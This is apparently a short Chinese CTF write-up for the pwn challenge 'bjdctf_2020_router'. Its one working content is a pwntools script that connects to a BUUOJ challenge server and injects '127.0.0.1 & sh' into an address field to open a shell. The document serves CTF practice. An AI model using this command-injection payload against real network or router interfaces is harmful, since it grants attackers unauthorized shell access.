bjdctf_2020_router

bjdctf_2020_router_第1张图片
exp

from pwn import *

p = remote('node3.buuoj.cn', 28110)
p.sendlineafter('choose:', b'1')
p.sendlineafter('address', b'127.0.0.1 & sh')
p.interactive() 

在这里插入图片描述

你可能感兴趣的:(pwn,router)